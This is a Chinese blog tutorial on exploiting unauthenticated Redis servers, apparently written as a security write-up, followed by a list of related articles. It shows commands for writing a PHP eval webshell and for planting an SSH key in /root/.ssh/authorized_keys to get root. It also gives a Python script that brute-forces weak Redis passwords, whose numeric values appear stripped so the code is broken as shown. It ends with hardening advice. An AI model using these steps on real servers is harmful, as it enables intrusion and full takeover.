0x01 环境搭建

#下载并安装
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8..tar.gz
cd redis-2.8.
make
#启动redis服务
cd src
./redis-server

启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

root@kali:/tmp/redis-2.8./src# ./redis-cli -h 192.168.125.140
192.168.125.140:> ping
PONG
192.168.125.140:>

0x02 未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

从登录的结果可以看出该redis服务对公网开放,且未启用认证。

利用redis写webshell

利用前提:

1.redis未授权 能redis-cli连上

2.开了web并且知道路径(如利用phpinfo)

我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

当数据库过大时,redis写shell的小技巧:

<?php 
set_time_limit();
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>

利用"公私钥"认证获取root权限

ssh免密码配置

ssh-keygen -t rsa -P ''     #生成公钥/私钥对
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥写入 foo.txt 文件
连接 Redis 写入文件
cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
./redis-cli -h 192.168.125.140
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

利用私钥成功登录redis服务器

0x03 Pyhton脚本自动化测试

可用来测试是否存在未授权或弱口令的情况

#! /usr/bin/env python
# _*_ coding:utf- _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv()
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv()
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[]
port=sys.argv[]
print check(ip,port, timeout=)

Redis测试:

0x03 解决方案

1、比较安全的办法是采用绑定IP的方式来进行控制。

请在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把# bind 127.0.0.1前面的 注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

2、设置密码,以提供远程登陆

打开redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下:
auth youpassword

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考文章:

Redis 安装 http://www.runoob.com/redis/redis-install.html

Redis未授权访问漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未授权访问配合 SSH key 文件利用分析  http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授权访问漏洞利用姿势 http://www.jianshu.com/p/e550628ba1bc

Redis 未授权访问漏洞(附Python脚本)的更多相关文章

  1. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  2. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  3. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  4. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  5. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  6. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  7. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  8. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

随机推荐

  1. node学习笔记6——自定义模块

    自定义模块三大关键词: require——引入模块: exports——单个输出: module——批量输出. 从例子下手: 1.创建module.js: exports.a=22; exports. ...

  2. Java学习路线图,Java学习计划建议

    怎么学习Java,这是很多新手经常遇到的问题,现在我简单描述下一个Java初学者到就业要学到的一些东西:     首先要明白Java体系设计到得三个方面:J2SE,J2EE,J2ME(KJAVA).J ...

  3. Android studio导入eclipse项目遇到的错误解决方案

    Error:Execution failed for task ':app:compileDebugJavaWithJavac'. > Compilation failed; see the c ...

  4. 如何利用pyCharm编写和运行python文件

    在安装python环境后,通常可以利用IDE pyCharm来编译我们的python文件.创建一个python文件夹,用pyCharm打开文件夹,在文件夹中新建一个python文件demo.py 也许 ...

  5. c++ 文件增加#ifndef、#define 和 #endif 语句的意义

    文件currency.h (或 currencyOverload.h) 包含了 currency类的声明和实现细节. 在文件头, 应该加上语句 #ifndef Currency_ #define Cu ...

  6. 【转】【Python】Python发送邮件(常见四种邮件内容)

    在写脚本时,放到后台运行,想知道执行情况,会通过邮件.SMS(短信).飞信.微信等方式通知管理员,用的最多的是邮件.在linux下,Shell脚本发送邮件告警是件很简单的事,有现成的邮件服务软件或者调 ...

  7. 【吉比特】G-bits2017技术类岗位编程题

    求素数 输入M.N,1 < M < N < 1000000,求区间[M,N]内的所有素数的个数.素数定义:除了1以外,只能被1和自己整除的自然数称为素数 输入描述: 两个整数M,N ...

  8. SpringBoot系列一:SpringBoot的产生

    声明:本文来源于MLDN培训视频的课堂笔记,写在这里只是为了方便查阅. 长期以来 Java 的开发一直让人所诟病: ·Java 项目开发复杂度极其高: · Java 项目的维护非常困难: · 在云时代 ...

  9. Git -- 远程仓库简介

    到目前为止,我们已经掌握了如何在Git仓库里对一个文件进行时光穿梭,你再也不用担心文件备份或者丢失的问题了. 可是有用过集中式版本控制系统SVN的童鞋会站出来说,这些功能在SVN里早就有了,没看出Gi ...

  10. QTreeView

    隐藏左侧的小箭头